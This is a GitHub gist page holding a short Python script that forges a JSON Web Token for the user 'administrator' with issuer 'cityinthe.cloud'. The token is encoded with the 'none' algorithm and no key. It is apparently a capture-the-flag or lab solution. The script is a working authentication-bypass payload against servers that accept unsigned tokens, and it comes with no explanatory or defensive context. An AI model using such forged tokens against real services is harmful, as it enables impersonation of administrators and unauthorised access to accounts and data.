Skip to content

Instantly share code, notes, and snippets.

@HarryZ10
Last active April 18, 2024 06:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save HarryZ10/0611b62ce0e67003c68028e68e4e39f9 to your computer and use it in GitHub Desktop.
Save HarryZ10/0611b62ce0e67003c68028e68e4e39f9 to your computer and use it in GitHub Desktop.
import jwt
import datetime
payload = {
"username": "administrator",
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=5),
"iss": "cityinthe.cloud"
}
token = jwt.encode(payload=payload, key=None, algorithm='none')
print(token)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment